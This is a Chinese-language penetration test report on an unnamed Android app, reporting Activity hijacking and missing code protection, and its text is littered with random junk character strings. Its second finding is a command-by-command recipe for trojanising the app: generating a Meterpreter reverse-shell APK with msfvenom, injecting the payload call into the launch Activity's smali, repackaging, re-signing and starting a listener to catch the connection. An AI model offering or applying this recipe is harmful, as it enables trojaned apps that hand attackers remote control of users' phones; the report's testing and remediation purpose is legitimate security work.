原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

- i4 t6 w6 B+ F; M5 { ! b; Y8 X5 c: @* F3 i; O# b% x% ~

+ k9 h, P t( y1 N0 D% F 4 j+ b7 @- F% I6 Q7 n
7 D$ P+ J( {5 ?, A+ n. b

7 G# T5 b5 M5 }; {! l7 O$ E

, q8 h2 {* i; ~" P: K 文档编号：                0 J u# M! f# a' X& [4 L * G4 s1 q: S$ K7 G! I+ h, r

* O& n% o7 W5 _2 A 3 M+ Q- ^, K" _# P

 

: s8 U1 d- B4 s/ u, d# W+ c

9 v2 F1 t x( w $ R7 ~, S- F' [$ T3 H3 o   : `3 n2 b1 D& \

8 y h) e1 [$ E7 v   2 A3 p [/ k: w 9 W" ~$ l+ Z4 p, |! r- o# [' Z% ?0 H

3 p1 P7 ?2 F/ Q5 m6 Z 7 T; p; K/ h9 q5 g3 }) D

, w! R# [3 X3 M   % ], ^* ]/ n9 ?" @2 p4 U7 O

% i$ M/ M. S3 o% n, d! Z   5 Q7 c4 Q) T- f7 J! E+ N& `& U

7 {2 J5 [" r; Q Q7 @! m, c 0 x) J! T8 t$ X) B. K7 F2 _

6 D6 q4 T6 O/ D; @. C: Y, z9 { 某某某APP渗透测试

# B0 t9 U- i2 R. q2 Z

, j( u ]6 W) q5 Z- m   : t* I. \+ @6 {7 T9 N' A9 K

' I p% ^* p1 @7 E$ o

* E- _2 t K5 Z4 t  

+ u! a \9 R+ @4 F

* G Y$ s6 d4 z3 J; p3 W   % q' Z# |- V J+ r& X

# u- a( _4 t6 z6 B' T- F8 T# {, c   $ |$ m1 i% M% q* w

0 I! Z+ P# b0 C, Z / c! a; n' R/ v! f8 ?9 z

( ~: x$ r4 W3 ~' x3 X5 o 1 ]" W' [, z+ M4 i* T 技 术 报 告 0 ~0 a% L9 K( @! G

( B% r0 {9 _0 [: `' ?

9 O) K5 e; A) \ r+ O* D l/ a" \   1 ^: r: U. ~4 w7 y! ^

7 \7 V# ]2 j+ l* M8 O3 V+ J   4 M& g3 v7 N' X3 ^1 ] 7 \8 l0 }* y8 ~6 j) ?4 @; v: Z

8 n9 e. H) n; Z4 B 4 {# v& c( C$ h   / x4 U; s! ]/ X8 A8 f7 I

2 o$ f" W4 [2 V; ^- k8 O2 T) t, R

/ J6 Z+ L2 h' d, L  

: ]) i6 z4 k. [. ^   : b* t/ F4 a F, V/ c

0 g6 y C" n& E& N

0 ?) d: z8 m" X; G( k : i( M- S! h0 T1 }   2 L# x) f! N; [0 q- x5 i ( e- U$ U7 ?! i

# G! [1 b* f: Q2 X0 P, i' { ) Q4 n3 |; s# M) y3 [

2 u2 o* d% E& x; o( s   . v! j2 B7 j* _4 c

" K) l7 ?# w0 K% d. b4 W

. j7 \7 |; Q. ^: j& g " N5 q9 t: V" v   0 o6 A+ T! ^) C" x% R

# L/ M+ _3 q+ w8 r

" w. U9 e* y9 J9 r( k   7 @; f* q# e0 V) L" x

6 c' q8 z3 Q* A) A. E1 t' Q

4 O* F {1 }$ ~0 C0 b' {, R4 s2 P $ N6 c- c1 ]% }' Q) H2 n  

0 m; _' ?/ r9 F

! T! b9 l1 N+ N1 {4 {8 `% B0 V2 @   ! ]$ b. v' { ^: W) _ ; P% i# p. A- B% Q4 D! `

, ^5 l8 ~1 A) o/ E, [& u : `5 P6 H# ~# w |9 S$ P/ S# C! X' D- k

# N# f! s2 D) {   % K; N/ j8 E2 k5 b& E9 h( E2 Y

% E% H( D1 L6 C7 S 6 S; v: f [; P5 E/ i& \) K

  " s+ O8 F' s, v4 M4 `9 e- r5 v

+ Y+ l) ^- ?, o+ O, U8 U

- C( a. N w8 |& o& C; x! b& E3 ` 3 `0 W6 w) Q% {+ x7 l( I, \6 S   , @- |) v) f: g5 i

( c0 ~: M6 p7 e   / a/ m0 `9 F/ K4 o5 l9 M7 x

: |4 q( T3 w) T7 ^$ m% W+ @

6 I/ d0 F2 @% w- o4 v' x D) y( `' r   ! A- H, c' X# _; P$ D$ X& T) R/ b

- n! |: q2 t! W0 R1 C5 m' r. G0 V9 Q ) V% r. @' ]3 e ?. Y& q) ^! v

9 p% Q1 |1 m. B- B- r8 S2 V$ [ 6 {7 h5 i. b# u4 n  

- H. r. Z9 I @9 j' w8 K, w- r   ' V! `; `! m9 H4 R3 J w `

0 E( V5 Z2 j- F$ \2 ~) p # L3 o. i7 B/ ~5 c1 @ 二〇二〇年 ; J+ s* @ H" ]/ @7 q

9 f2 ?; D/ J5 U : _& D5 F, F9 n, u

0 A2 S8 F1 E) z& c$ _ k0 c; f ) D1 x" D/ q/ S6 k4 G* Y) Z

4 j0 E9 T5 ^2 m- G; P7 S' a
. N$ M! t, O$ G1 g 8 v( C+ J3 T' y8 S0 H

/ \. E4 ?9 m2 \# L' a) w ; Q. _4 \$ v! g6 U3 k' _3 L; K

B. m/ L/ _; n+ l 4 B+ W) M2 Q5 | k0 u* ?; B$ ]$ ?# S7 g 目 录 * |7 q' |: v: R 7 S6 `& g' e0 ~1 N* U. v

' [5 E: g: U$ R3 J3 V 1 _8 O' y$ O; R! Q3 ]

- Q4 H* h% p' [, d6 q% _+ m   $ O5 }- T' H3 S9 K ! |5 H; I6 Y8 ]9 ]1 Y1 l7 I6 r

! b7 @" `% d% v7 X' Y/ N/ o 1 概述... 3 @# r2 x" U# r) k) x& y 3 S0 G: B2 p: y

2 ?2 f9 Q; }( O3 n% i, t$ Y/ P

1.2测试时间... 3

! y: `6 @7 q' C: H, \

J5 W9 C4 t" S: g( _ 1.3测试对象... 3 - b [: a5 y" d: I4 H/ ~3 Z- K7 |

' S/ |6 p; K5 y7 Y. Y# V& u

1.4测试结果... 3

) `$ b6 d8 v" ~. S* b. } 3 R9 F( u6 Q! P% X$ V' w

4 |, N; {3 c3 Y- ]# D3 X* E % w. d* ^$ } e2 m( G 2 检测结果... 4 8 [$ \% B! N% ]. @6 d+ ~( S

% m) g" }0 E. N, J " y' o6 F) |1 S! O/ V# ?9 S

; k7 e$ w7 g+ Y5 A& j; R4 O2 ~ $ L1 N. H- ^. t- _8 f 2.1 某某某... 4 ! F1 K' f+ a6 y/ T" a

9 v; Q9 R' y: _, z

2.1.1检测目标... 4 4 r# a9 X$ [* S 7 |7 k6 [2 T8 n- E

' y- M% F+ D+ C7 q8 E# V! m 6 u7 }7 @, |! I; x) A" ~# b

4 c, Y7 R8 H/ L 2.1.2检测结果... 4

8 u" y) W* \$ G# O5 A

; R7 u2 o f0 m: g% P 2.1.2.1. 4 * H5 c+ O2 v' j/ B' v! ` ; r- O, c1 V3 f5 c& Q3 Z) O! r& w

7 X7 r( `) l7 d

1 L% S: X J1 k4 A f" m 4 t3 I( G# H6 F; v, O( m 2.1.2.2. 6 2 q7 a& a. _; ~8 @

1 K9 c& c/ D) p$ w. M, Z+ {- }5 b % ?) P8 `" |7 F+ z

2 t! X) g# e7 f$ }/ z, M 0 J3 @* |7 S! r

G7 Z5 i8 ^2 S) j( D3 b # `1 e, c' M. O l/ v$ e# O

$ ]/ t0 Y, n1 b! o7 m6 x5 t* G! f" V

. [: I3 L) h9 }# a! d4 n 1 概述 4 x$ `/ `' ]% G, u0 W

" M) N9 V; S' ]0 E) H% M+ a* g6 }

/ J; r5 ?: \! i7 O+ { 1.2测试时间 5 S6 b* r6 g! Q2 z$ F5 m; A

7 L7 Y: d1 ~3 ]! H- B , o6 L+ h0 ^! W& w" I) e3 s N; F8 k* @" V' ^/ F, x# o1 t$ J. J) \1 v& Z8 u( o8 Y: _. D. c0 R# f. k) x0 o+ Z7 @- h! S7 c! Q9 n4 K+ ]0 P! d) V/ o% {( ]6 L+ @0 r* r0 G) T" Y% Q6 y4 M c; a" {: F7 i- N3 j4 \9 V; b6 {8 N' a( e! W5 n3 Z3 i. y/ v: Z; j) @. t* c( o! p: W- B6 F; ~4 @$ ^3 ~( @/ k; \! w# ? P( n7 n9 a

6 Y: D, p. I" p9 ? N+ k5 M" i( Z1 \8 s; q4 @ 1 j" G0 V. q: X 1 W5 y( s5 } z2 v 渗透测试时间 + Q% d) \9 v! g9 u# Y # ^( Q6 B2 x, V3 @' p
" @9 Q0 l$ P F. R* A; k7 q ; r1 m& i6 D- d8 F/ E. E $ H' m3 W8 S5 g7 E9 n" M/ M S * {$ W# N# e+ f% I- ^& B: I2 g 起始时间 & N1 i! E( J- Q	" M2 z; s4 f5 r# Y( F) }, A! j 0 ^/ U6 w2 ]) W* T S! u 9 ?4 S( }4 R# W6 J, p 2020年4月6日 4 S1 D% n6 h) l# @# q% T! g' ? 9 @! V3 T- w$ t5 ?3 n4 c
3 X$ ]6 [8 H; Q& @ 0 T9 ^; [. x' K8 B$ z& D$ y& r % ^2 e2 J. l; O; ^$ U 结束时间 B* J$ |8 G/ E4 I. u: v & Y c4 ]6 q6 G	% y+ M7 K' z% I9 s- N$ k N( \+ T6 G o7 k, Y! b 2020年4月9日 & v( u3 r+ F1 x; ?( O3 e! ? $ @0 j$ A: E8 |0 b, s

: @' ? m, {6 J0 R 1.3测试对象 ) W+ ^4 T+ ~1 S0 s$ L7 M1 k

0 c6 Y# G3 \. U$ b

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： ( h" o. L$ S5 m( u3 `( Q8 r" L6 u $ H+ a- Z7 B; K8 e# @/ P+ |+ F

表1-1 检测对象 # p& q$ u& B% } / G3 L* M- | V g- B6 e

7 M3 M- q; B3 M: u# ^9 d% u( t. A 8 o* F* n3 D1 D1 I% K& s7 B) ?- S. h! _+ l. k H, g2 o, a/ q: I+ ^1 T$ Y j% F8 t' W1 |9 X# G+ e5 k3 a9 k( h. D6 ~7 V! F/ ~0 G& v& Q3 T1 @6 N( \- E. P& D5 _: j) p1 O$ l3 m( Z* O) E& @) n) l9 K9 o4 C. U B z m! n, d5 E! G' c1 I H. |: l& C A( U! ]9 k, K1 Z& ]8 [3 a2 ]$ w: U0 ^3 u9 v6 [: L6 |% |4 N6 ]% ^/ E( ~$ i

# w0 }% u6 S# e% E5 B' u( e8 f & m) Z1 I, X# q3 n , s. E) t5 }) | 序号 3 l4 @' V0 Q! {% N, {/ c	% N2 W) `: p, l# Y- o ) ?* L/ u- s* v4 q7 X' h3 x- t: J 测试对象 % l! k, L; u& o; u* u4 c8 _9 V	测试地址 v, z5 P$ m H# r2 O& T" D3 H	3 g9 w& \ ` v% o % a, b# y, F$ U' [* l) k) q. N 安全漏洞 0 E" C4 z9 V3 R8 r8 n9 ^
, p/ C' l% f# L! {" E ( J- }9 B+ U+ T; C; e 1 B3 P' ~# P% L: j8 N& [+ d	g: t N% e6 B s1 o& b& m4 e 0 e0 ~* p( b6 F' p | & W z, { b5 u& h6 E 某某某安卓APP 4 K9 _2 ~) j% s7 L/ N) E $ a0 u8 u+ g2 k	$ u6 Y }3 `* w. h3 Q# [- ]9 L2 L * j7 o2 R! L7 ~6 o* E0 `   9 X& R8 m# \- J$ L. e' f% }0 Z! d 4 F1 Z. b( z1 V6 X	9 \6 W) H6 X* ^8 d 3 L; a+ I! \$ f 2 % ~. U8 K! C% o + `; \- n8 D% h6 G; N

% m, D& q) f( N) n: ]& D. r2 L9 x 1.4测试结果 . z7 \) v! n7 i W( X

/ g7 q3 Q. A- ~3 p ) s) P5 V9 |0 l) A& |3 m

; E; w: j7 @4 X+ r 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： ; R/ s& {2 J* i2 R9 a$ N% V " T) Z7 w8 u' {/ x3 d* ~ o3 V

2 V" W0 X; p b' a# w

/ G4 d/ b0 |5 ^- T$ J. M " A$ r+ p" d7 T. Q& v+ r- j   , }, o# X& K2 K8 o1 h# k

7 Z# R z1 c: s. G( a& d/ U( }

. K, I3 h* ^1 @! h, N 9 \$ f) K4 Y! e9 V$ A) D1 @4 d3 ^/ E* P3 f. R: s& M6 s3 e5 V8 A( H4 L7 |" i& `0 `3 f& K7 C) A/ \" g' }+ J# w- h7 r* l/ o: I3 w" y/ z1 u7 \; p2 P1 D# N3 g& _/ h/ g( h5 o4 o Q9 U: `& L6 y# x" x7 d3 ?$ {$ N8 x' { T% k# G! ?, s1 v6 ^& W( o# Z/ s! D7 T" G u2 `& w, W3 i7 ]4 S+ B6 Y! s$ b/ B6 d( @7 E$ h6 I! Y6 I- Z3 b) y% V# o1 U: B! I, Y9 J, ?- e9 l$ j* s9 ?' Y5 N5 C( _& V. K7 J! `8 ^$ _, ?2 Y& A a: r3 y/ Z$ N. C: @' v" k! E7 w o6 z8 `# F$ e: O9 O' m

. y" v( W# e5 C8 m8 c; S 4 X+ \5 }6 P# J1 v 序号 6 p# ~. d& U* a% ]	7 c1 @6 H5 M& w- U" V2 U2 t , G# D5 ?$ a8 \3 v8 b* G " f8 Q$ F) w) ]7 }- e- F0 C 系统名称 , @6 A/ ~/ m! Z8 j9 p/ t	) K# [" {$ ?4 \ F4 Z 漏洞名称 , o1 M- Q* u4 D1 _	0 k. u* Y5 J( f/ F' C 1 S2 O8 o1 M$ f' A7 ?1 \: _+ S" m . q) m! a3 m; [- a, V, c, _ 漏洞危害 $ e+ ?! P& a; F 9 ?- C s8 b& R e( U " D( R8 n/ n6 m1 V0 S) ~) n% N	2 x+ f! H& j% } : H% A+ o" w; X! P5 t' S# p! {* U [& p 修复结果 " j8 d, M/ z" S( j( u 2 f+ f, i. c- v. m3 ]! @1 H0 M$ {
" a+ `* h9 H! [% ` & Z' K# @- A/ k* M% n& x - S8 a& @" ~ G2 t# W0 t/ v 6 g2 y4 j, h1 \* F' t$ y- W- _/ G 1 2 a# q4 v. L; Q	2 h% M: G1 ~/ |/ U 某某某某某某APP * h0 c8 d6 c( ?3 m5 r + g1 E! c& o1 C5 P- j! j, g . M! A& B" K; {% l n1 |	, G2 p4 U/ S z% @+ O6 D" ? Q* g Activity 劫持 7 j) k; z# t: y; E 8 n' {* u) H+ n. ]% i1 s ) v) I8 D* v6 c: Y ) j0 d0 r) m- P$ J& b& Y( b' K	6 d* G5 }: o9 n! m7 z* `- k ( E$ p/ _6 F4 e1 ^4 j 高	; q5 {1 u9 }' F' [, |
( Y- h& h x3 X1 k4 T+ K, M ' q- v Y/ F0 t- L% F2 }$ { & `9 I3 a" n- F) N5 R$ r 2 ; L+ t% y$ v2 z9 J) D % P5 b# f& T' _5 Z* \( U; B 4 h B5 n/ E8 ~* v, N% t0 F4 [	! J% I" {, b+ J6 }9 ^+ `4 J 0 u5 q4 f# w* }+ w! s/ I C1 b. n 9 z" z! W0 d5 D% f+ `% v 某某某某某某APP % f3 s/ {$ [' l& u1 x	/ c% g6 Q8 B/ A3 n! r$ A! E 2 I$ _8 i2 j5 Z+ g: l/ p 反编译二次打包捆绑木马、篡改APP代码 4 N8 d8 q2 t$ r 0 K! u" W/ T% M1 l% d " V5 w1 p% {0 l	$ f& a) _1 v; Z; ] 3 n. A% ]" T$ O9 c3 I % p5 k2 {. u+ d& j% E& ? 高 2 @3 s' g& o/ @6 s8 X: A6 K 1 h& W* }$ n T6 a 5 {0 t5 I6 _" k2 i. O( | ; b' W, v% h+ \! Z	- a6 {; D* j7 G. N2 ~8 a: b, v ( v/ j" l5 K: _   4 O- n8 l! z8 D5 C + V6 T4 |" ]# \0 y8 v5 @

+ f- O* L( a* z. Q; H7 G6 g 0 t2 s9 k- M# _9 |7 G

* O, j9 w( X' E! L- O0 I

2 g- N+ N: m" U, B) z 4 U0 l" }+ q7 A2 z- t* \   & h6 p& O& A: L |4 w/ q8 P% ~& Z2 ?6 C

1 Q7 g0 l- {, z# A6 H

9 _* o+ ]0 Z3 [7 g2 Y + ?# \3 q- w. k7 ?$ K' e1 O 表1-2 测试结果 5 {1 | b, N2 e1 \2 P. A # a1 k0 V$ d; ~, {8 z% p7 }5 G

4 a- Q, q# S9 Q" O+ ^- D9 A. _   3 M: Z$ y8 l9 |5 S

3 J/ D* r- n2 |- h- x+ \: A" y 7 r9 a% O: b/ P7 L2 e+ k9 O, r9 V

J9 y) x! g8 J3 }7 T 2 检测结果                   

9 W" G. R( l: H6 z1 e

& l# P8 R* r- `6 } ) |: ?8 |) f& C* N4 z 2.1 某某某

4 `' k# }- I5 ?1 z# M" m. i" @

2.1.1检测目标 % {# R! Q' Q8 z9 ?' n

, P; |' x. z& H$ W7 b' }* G

+ m$ x$ \( d6 f6 P 目标地址： 某某某某某某APP

9 r# z f! [% |: b# W& u' I; i" j

/ M p9 y9 A3 @$ E! S 2 S* P4 _& ]# ~' b, X 2.1.2检测结果 . }( }7 G7 i& x% u8 ]; S

$ j4 Y, u3 j$ A5 j* Z% K

4 m# P" \: _: u- Y/ F9 l; M 2.1.2.1 , R1 g0 y# F' L: k+ m

* P% q: J- R: J, S: A$ o

% Z4 O {4 V4 J6 H$ X3 Q 2 [( S- H1 ^% B) s1 o/ l S 漏洞链接地址：某某某某某某APP 2 r6 u- C: ~" y7 i2 w

* M$ N/ ^5 X" I7 w) h) R r- M

. q' o7 q( l2 ?. ~5 ^. i8 _6 O0 t   * Z$ |- `+ j ]# |5 d

$ u6 x: W2 w) \% l6 Q' S$ H

! B2 z. x4 i# y 漏洞分析及取证： 4 U/ c. c5 W, }

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 5 y6 l+ D; ~3 V# B ?2 y

- }4 T+ l) [1 b 2 n v* C$ q9 R* w5 f' Y

/ f+ q( H$ i4 l0 E/ e& o      ! i4 I8 Q9 `% d! {8 ? d& `& Z4 J

( A# [ z0 k+ S B' @+ e

@/ G* |- M, ^: |7 R) l6 l& {                       ' L; A4 N' \2 K. r

5 O* B% |+ o2 J& ]2 h* `( ]9 H* Z

+ m7 X/ t2 q$ o, t s% L+ K R* t7 }; X- U! M6 B# B . k# e2 ~% u. R

6 H, q* p, z6 h, _& N 0 z( y/ }/ {. m& @

; ]* E) u3 x8 ] S. w $ a { T& }. ]$ H/ B6 Z 6 n: q3 k. t) \$ T. e* G

! Z! ?7 p7 M1 O; W

3 D$ v) V+ X4 {+ Q, U" {% k! |

, Q' c0 K' S9 E2 D* k& F( m

$ f7 X; x5 Z' I& d 漏洞危害：高 / q! V. b! s% n + Z# d1 o; ]- H! G, Z" n

7 X5 Q/ p' d4 S# y0 Y , c% z: _; D9 D; H* j, m" ] ) \! p# |" U! T1 q4 }6 g, [( ^+ L, x F" K2 R1 ]% P9 ]7 O0 d. D) L5 j$ h1 A* o( n; \& ?$ O0 q/ Q# A- I' V" w8 a& d9 M1 ]& u9 f' A9 `' ~0 L! \: x# j1 k& |9 i9 x0 O1 F2 T3 N( T' L" h9 H# {4 }- u2 m/ }' h- X) e. T* [3 g' W( @: w1 e! h; R# [4 w/ L3 E! \$ k4 p1 `5 u1 w3 x# l9 q' C8 `; @6 _# ^# d; @3 X

2 d9 T5 y K) Y+ N % u* c$ O7 T! K# \- l. T" P 严重程度 7 X& ^: G$ I, F# p% @ & f$ `6 I) \' `6 N	" D+ S4 x( f/ ~% C+ L 高 f5 |# M# p; c 6 w5 W) [( B3 g& ? 7 x9 _2 O' G$ m L" T0 ~+ a) t 9 N' D% o+ M3 g5 [6 X	& ^6 n; v8 T q 3 a. S; J& n1 f! K4 K# `8 b $ {3 W# t! ]2 A7 m$ L5 |1 F* L. w4 N9 U ■ : M8 p1 t8 _$ C+ t" f P & y6 u6 ~: w( |, }! ^	8 L' j+ p( ^9 O/ N3 G 1 m1 B3 }3 y+ M5 Q/ ]$ l( U( T7 l' C 7 U: h. S& X8 e" A* x1 Z3 X: U! r 中 A ~- h3 _9 h" i * i0 X7 d0 F. a S	* ]4 Y, x6 p2 T; B# ]1 P4 o2 j * A/ h( s0 N1 t   C2 {3 G$ H3 h* {1 m 8 r/ n8 |4 t& N& F3 \9 N # N: m# e: v' ?	3 \) J6 }8 A/ q. c ) B- W# h1 I) g 低	. w) |- `$ z, F- T) b: y5 N k' a4 D 6 U$ g( N$ O0 Z0 \   ) i9 {, A |: f7 h) x% I8 w. [

- e: q5 y, U% F0 {8 Z% k0 h

9 v G; Z+ C, {- {5 ~; r- a/ n. k " }( o5 `! @3 D8 G" w& j: e) W* D! W6 F

! J3 V7 ?/ T9 W1 `* B# F- u / t: Q3 A) s) k1 d# u- p   & g0 w, E0 s' [0 R

! b" y6 U% C W: Y# t& x! U q

" v; N# V2 D6 z" N5 Z 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

$ h% j; N4 c) v" ^- p $ ^9 {2 g t, c8 t' W# R2 T% h# N

          . T# \; E* A0 {

- t/ P( n( n$ M6 z4 [$ @: x

8 x$ q! e" N6 F. f! [  

* c: s* u+ w# M( i* @6 i z" L( M. w2 i$ d' V, K

2.1.2.2

2 w0 p- Y4 M5 T, z " K0 T9 I n. D* c g' F7 h9 u

5 w) y3 Y. i1 X" ^& L# _ 漏洞链接地址：某某某某某某APP & e+ b* Z& F5 _" T4 [2 u; _

* j# M2 x3 D2 d$ f. P# z0 j$ { # [3 d, {/ x: }* ]

% L% i/ B. d6 a g' i4 B0 p , P! d0 R# D" {' L, M4 ` 漏洞分析及取证：

- O, N- g& Z! m

O4 c D1 S6 r/ ~2 O9 {* X% a3 d - u4 ]7 _8 J* e D                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 5 M/ ]. ^& h3 A7 o9 {' P* t8 O* P ! p0 d, a$ Y" Y* h9 q6 n2 O: i/ \* ]+ ^

: [5 ^8 X) j3 a" p- c0 M: k

3 T) a5 H- z M5 O9 ~ 用Metasploit 生成木马 apk ; c1 B" o. z$ {1 F" o) h" D

. U) c0 D7 N7 r' D o( R & Z) ], U7 W7 w- s, `4 t a9 b

, `5 P# F, U3 J+ Z msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # V2 z: g4 Z3 [- ?9 T; |" ?

# I+ U8 _5 S8 P" G. e; N

/ L; T+ i$ |: t+ D- g5 Z 反编译目标apk和木马apk # e4 `* i# v o3 v7 N6 K- s

: s$ l- l6 X/ w8 k* D% Z

apktool d target.apk
apktool d cockhorse.apk , L& I3 C" ^3 }" r3 c# f

/ @0 r' O n* T . s% D4 ^, ?, c

0 W3 r8 ^4 r7 P7 V( n1 f2 r 木马 apk 注入目标 apk 9 z- Q. |% @1 c- A0 D

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

& \" u( P; k# O" n) R: n6 _2 u9 m . Z5 ^; t3 S- {3 F* D$ c

' a% y* J' _$ q l0 o% } 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

! ]! O% ?6 h( P! m5 V' {

) Y" O# n! `9 a$ p$ f# s 3 Z% E, l2 |0 i 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 0 g) E: _* h! \5 b0 X6 G7 q& F ^

* `; c) T2 u* G$ ?6 F

4 R8 G* f' h7 a2 l- |* { u6 F' T4 J/ v7 M9 n+ ?$ | 回编译生成最终 apk 3 i# C0 N2 N3 F$ N

重新打包 ; a2 w0 w+ Y5 _2 Y5 R& h4 B

$ {7 \+ P8 x/ w' a

8 _! ~5 \- ], W! j$ t2 ] apktool b -o repackage.apk target_app_floder * @; g1 n$ Y( F* m0 E* n/ l/ _

- G- E, b O9 E) u5 x / z- n3 p) \) H7 V" H* F 创建签名文件，有的话可忽略此步骤 7 W, ]/ K* Y7 D$ H1 T1 G3 ~

" n+ }- \7 O- l, C o 7 M- w: H- @4 O8 @2 P

* S" a' D9 @+ ~$ q" L, _ % Y: `0 {# ^. M6 ?( V9 } keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                6 v6 `" A- i" |0 O' |

, z4 N+ ^2 G6 q 9 k3 k; R- w& S& C. A* n5 t9 r

( ~% y! n I1 R$ E* V 签名，以下任选其一 7 H1 U8 Z3 \6 k5 r1 d 3 n* X! m. l+ E$ U. [* k

6 ]0 \/ z' S8 Q

6 {4 k4 m) {$ V" {0 r " l, C6 Z* {7 D8 q3 M! r+ Y jarsigner 方式

" W8 `' M k1 m3 y: f+ m4 y

c4 J$ @! y9 f5 V$ l jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname % l* y! k0 j( w9 z, G - `$ _% e9 `0 P3 g+ R# _' ]

- b$ L5 i2 h) Y! h

; ~( L' P- u3 |; C6 e# ?. F apksigner 方式 ' h4 R+ ^/ d8 F3 l

& s3 p: e5 @( i8 q' J+ a* s. ^ o 7 Q. w3 ]$ t- t4 h0 X( s' w

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk . P2 p- d; ?9 Y* h) s

& I5 y+ l R2 }* o- ^" n

如需要禁用 v2签名 添加选项--v2-signing-enabled false

验证，以下任选其一 ; `1 x! g1 N$ I( ]. ^9 h 2 a* G) \$ N% o3 ]* y# z7 L# X

1 } l2 m: P# ] : m" q a$ V3 L A( \6 t2 |3 P

3 [! p4 ^, J3 B1 m, ?0 D) u1 H; P jarsigner方式 # M! R0 k8 Q/ [& v7 q% S Y. L, F

+ B- G7 O2 S5 I* z! ? & ^8 ~* k8 t6 G* {, [6 O& a jarsigner -verify repackaged.apk 6 H) K; t, M$ B# X( V: B3 T2 q & U |+ a4 O- c& R6 t

# d6 L, k7 Y- |' _, M8 c

U! d" F0 Z1 J* r/ V* g8 h& I _) Y/ I8 r: K7 K% ^ apksigner 方式 4 K0 y% S( m" u) o$ p3 z; U

" c D, m( v9 y% m + J8 U/ b* Y* v' c) V

4 Y9 |! Y9 G1 o2 q apksigner verify -v --print-certs repackaged.apk , r2 V9 U/ l) N* ^9 O4 A9 z

$ w8 x3 d% A9 d8 p/ g% s5 k0 o: \& c keytool方式 8 S% D$ L/ U4 B ~+ G7 L' o" k 2 U. C- N7 n; L2 P$ S G9 Z

: W- D7 i, f3 S

. F7 F( ~$ |( v, T ( T6 b* v& u H. ^5 q' N keytool -printcert -jarfile repackaged.apk ' L6 F( r' S3 u 4 S! Q3 a' Q: s' F

+ H9 }( ]2 F; S) E, H: L; w

1 \+ E S% |6 _# L: A9 U: [ 对齐 . ]' ]1 y1 C8 M" m3 ~" Z% H

6 I1 V# c2 v* }4 w' h/ t4 U; z' o

# Z1 W* e% c% u0 p2 M( B1 w0 B6 p 字节对齐优化 3 w6 R, a! P3 b: X" _ 2 Y0 X- H% ?6 y; v. w& K3 _

2 P. w; H, I- C zipalign -v 4 repackaged.apk final.apk ( N& x+ x2 B4 W

' {6 O, K" ?$ }

8 q! x; F4 v0 c' ` : F& P9 z V# B+ c0 |; _ 检查是否对齐 ; n2 D+ x; m1 B4 R

# q0 G0 \) _+ v0 E

+ L" D* ~. S$ O' N& F zipalign -c -v 4 final.apk 4 m3 _6 c* W) S ]

$ W' k J8 \$ R$ {

) }: x8 F$ e' s; {( r 8 I( }' S( |7 y! ]" A 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 B7 ?7 i0 @' Q: N, @0 L7 [ & V4 ~, i( n) y8 w1 T

启动Metasploit控制台，配置参数等待上线 : w$ f, [3 r8 Q" P: `) p. a1 L

4 Z# f0 e4 B7 x: o + a" u# E3 ^ d5 g1 _8 R# V$ |* ]

在终端依次输入如下命令 , V) B Z$ ]$ C , P( L1 i9 G" a' N8 f' {; o

) N6 z- h8 J) m/ ?9 Q5 m0 S: b msfconsole

+ v! k! q1 k0 @" L, d 0 B1 B" b: F2 o/ f- H# {

use exploit/multi/handler : m9 X/ e E$ @6 A6 r" t 2 B) `8 T; r4 s2 T* ]

0 L# U9 j% i# i6 ], n3 I* i / U, K; I1 k/ J1 e9 ` set PAYLOAD android/meterpreter/reverse_tcp # e( v/ C1 k6 N / _! d n3 D0 b) O. d- X. j

; w: y+ f `9 b! Y7 ]$ M8 s

set LHOST 192.xxx.xx.xx

. U) J' R' H, Z& N/ t

: U- w' a( c" q set LPORT 4444 ! H+ t3 |9 ^$ r$ Z$ C

# R7 X b0 T2 x) G3 m1 D

0 _( s2 R9 t. l& ^ exploit ( f" Z3 |8 {: W

# }- ~* v7 M$ r! q

5 C2 f6 F) F3 T1 i. Z6 G 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               : B5 Z0 g- T1 b+ A3 D/ T ( h9 V, @( t; h, Z

( d7 Y9 l5 I& o6 s+ @) _$ H9 o

漏洞危害：中 4 I. i( p" m! C" P1 L0 j

! ~$ U$ ?: K; {+ k; q$ s- u( g g - F: a0 A5 N8 A# u0 Z7 P' ^ J ' {5 B& Y0 F8 O( z+ ?( k, g' @/ E, y- e2 j. Q: x5 W; ?& R ]+ w0 [* \6 @! T- |+ S% j1 `) Q. G2 P1 I: W3 Y% q5 J/ J6 u2 c0 O7 r3 C# _/ |; _9 N6 s% Y: O4 i! ^, w& T) K1 L1 f! y) P5 [; [% G+ l2 E5 U# w# r* ~ d X# d, K" P

